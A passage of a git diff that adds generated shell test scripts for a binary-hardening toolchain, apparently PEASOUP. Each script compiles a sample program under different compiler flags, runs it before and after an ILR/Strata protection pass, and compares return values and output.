+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.strata
+
+g++ -w $COMPFLAGS ${testloc}/$BENCHNAME.cpp -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+(echo "goodpass" && cat) | ./${test_binary} > test_output/${test_binary}.out
+orig_retval=$?
+
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend strata || cleanup 4 "ps_analyze failed"
+
+# run program 
+(echo "goodpass" && cat) | ./${analyzed_binary} > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retvals
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${analyzed_retval}" 
+fi
+
+# check the output values
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ"
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 5 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.startfile.-O.-fPIC.no_omit-fp.no_debug.-m64.sh b/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.startfile.-O.-fPIC.no_omit-fp.no_debug.-m64.sh
new file mode 100644
index 0000000000000000000000000000000000000000..848fc5e41a13f13f98be1079677296601d029946
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.startfile.-O.-fPIC.no_omit-fp.no_debug.-m64.sh
@@ -0,0 +1,135 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=strata
+# ATTRIBUTE OS=linux
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE CompilerFlags="  -O -fPIC     -m64"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_64
+# ATTRIBUTE TestName="ps_micro_test sample"
+# ATTRIBUTE BenchmarkName=sample
+
+BENCHNAME=sample
+COMPFLAGS="  -O -fPIC     -m64"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm -rf ${test_binary} ${analyzed_binary}
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.strata
+
+g++ -w $COMPFLAGS ${testloc}/$BENCHNAME.cpp -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+(echo "goodpass" && cat) | ./${test_binary} > test_output/${test_binary}.out
+orig_retval=$?
+
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend strata || cleanup 4 "ps_analyze failed"
+
+# run program 
+(echo "goodpass" && cat) | ./${analyzed_binary} > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retvals
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${analyzed_retval}" 
+fi
+
+# check the output values
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ"
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 5 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.startfile.-O.no_pic.-fomit-frame-pointer.-g.-m32.sh b/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.startfile.-O.no_pic.-fomit-frame-pointer.-g.-m32.sh
new file mode 100644
index 0000000000000000000000000000000000000000..dd2c215a5c03d8cd27a8fe016283e295efe0d103
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.startfile.-O.no_pic.-fomit-frame-pointer.-g.-m32.sh
@@ -0,0 +1,135 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=strata
+# ATTRIBUTE OS=linux
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE CompilerFlags="  -O   -fomit-frame-pointer -g -m32"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_32
+# ATTRIBUTE TestName="ps_micro_test sample"
+# ATTRIBUTE BenchmarkName=sample
+
+BENCHNAME=sample
+COMPFLAGS="  -O   -fomit-frame-pointer -g -m32"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm -rf ${test_binary} ${analyzed_binary}
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.strata
+
+g++ -w $COMPFLAGS ${testloc}/$BENCHNAME.cpp -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+(echo "goodpass" && cat) | ./${test_binary} > test_output/${test_binary}.out
+orig_retval=$?
+
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend strata || cleanup 4 "ps_analyze failed"
+
+# run program 
+(echo "goodpass" && cat) | ./${analyzed_binary} > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retvals
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${analyzed_retval}" 
+fi
+
+# check the output values
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ"
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 5 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.startfile.-O.no_pic.-fomit-frame-pointer.-g.-m64.sh b/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.startfile.-O.no_pic.-fomit-frame-pointer.-g.-m64.sh
new file mode 100644
index 0000000000000000000000000000000000000000..301c30f4d09cc19b0dcb94016a92d495d11d70f2
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.startfile.-O.no_pic.-fomit-frame-pointer.-g.-m64.sh
@@ -0,0 +1,135 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=strata
+# ATTRIBUTE OS=linux
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE CompilerFlags="  -O   -fomit-frame-pointer -g -m64"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_64
+# ATTRIBUTE TestName="ps_micro_test sample"
+# ATTRIBUTE BenchmarkName=sample
+
+BENCHNAME=sample
+COMPFLAGS="  -O   -fomit-frame-pointer -g -m64"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm -rf ${test_binary} ${analyzed_binary}
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.strata
+
+g++ -w $COMPFLAGS ${testloc}/$BENCHNAME.cpp -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+(echo "goodpass" && cat) | ./${test_binary} > test_output/${test_binary}.out
+orig_retval=$?
+
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend strata || cleanup 4 "ps_analyze failed"
+
+# run program 
+(echo "goodpass" && cat) | ./${analyzed_binary} > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retvals
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${analyzed_retval}" 
+fi
+
+# check the output values
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ"
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 5 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.startfile.-O.no_pic.-fomit-frame-pointer.no_debug.-m32.sh b/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.startfile.-O.no_pic.-fomit-frame-pointer.no_debug.-m32.sh
new file mode 100644
index 0000000000000000000000000000000000000000..8be808f752971a66870cb3fd09a37f58ff4aaead
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.startfile.-O.no_pic.-fomit-frame-pointer.no_debug.-m32.sh
@@ -0,0 +1,135 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=strata
+# ATTRIBUTE OS=linux
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE CompilerFlags="  -O   -fomit-frame-pointer   -m32"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_32
+# ATTRIBUTE TestName="ps_micro_test sample"
+# ATTRIBUTE BenchmarkName=sample
+
+BENCHNAME=sample
+COMPFLAGS="  -O   -fomit-frame-pointer   -m32"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm -rf ${test_binary} ${analyzed_binary}
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.strata
+
+g++ -w $COMPFLAGS ${testloc}/$BENCHNAME.cpp -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+(echo "goodpass" && cat) | ./${test_binary} > test_output/${test_binary}.out
+orig_retval=$?
+
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend strata || cleanup 4 "ps_analyze failed"
+
+# run program 
+(echo "goodpass" && cat) | ./${analyzed_binary} > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retvals
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${analyzed_retval}" 
+fi
+
+# check the output values
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ"
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 5 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.startfile.-O.no_pic.-fomit-frame-pointer.no_debug.-m64.sh b/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.startfile.-O.no_pic.-fomit-frame-pointer.no_debug.-m64.sh
new file mode 100644
index 0000000000000000000000000000000000000000..0d7213e5a989f2d1bb02353798112dba8341700e
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.startfile.-O.no_pic.-fomit-frame-pointer.no_debug.-m64.sh
@@ -0,0 +1,135 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=strata
+# ATTRIBUTE OS=linux
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE CompilerFlags="  -O   -fomit-frame-pointer   -m64"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_64
+# ATTRIBUTE TestName="ps_micro_test sample"
+# ATTRIBUTE BenchmarkName=sample
+
+BENCHNAME=sample
+COMPFLAGS="  -O   -fomit-frame-pointer   -m64"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm -rf ${test_binary} ${analyzed_binary}
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.strata
+
+g++ -w $COMPFLAGS ${testloc}/$BENCHNAME.cpp -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+(echo "goodpass" && cat) | ./${test_binary} > test_output/${test_binary}.out
+orig_retval=$?
+
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend strata || cleanup 4 "ps_analyze failed"
+
+# run program 
+(echo "goodpass" && cat) | ./${analyzed_binary} > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retvals
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${analyzed_retval}" 
+fi
+
+# check the output values
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ"
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 5 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.startfile.-O.no_pic.no_omit-fp.-g.-m32.sh b/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.startfile.-O.no_pic.no_omit-fp.-g.-m32.sh
new file mode 100644
index 0000000000000000000000000000000000000000..dbd02e9a5239a791cfc460b413cd616ee0179d24
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.startfile.-O.no_pic.no_omit-fp.-g.-m32.sh
@@ -0,0 +1,135 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=strata
+# ATTRIBUTE OS=linux
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE CompilerFlags="  -O     -g -m32"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_32
+# ATTRIBUTE TestName="ps_micro_test sample"
+# ATTRIBUTE BenchmarkName=sample
+
+BENCHNAME=sample
+COMPFLAGS="  -O     -g -m32"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm -rf ${test_binary} ${analyzed_binary}
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
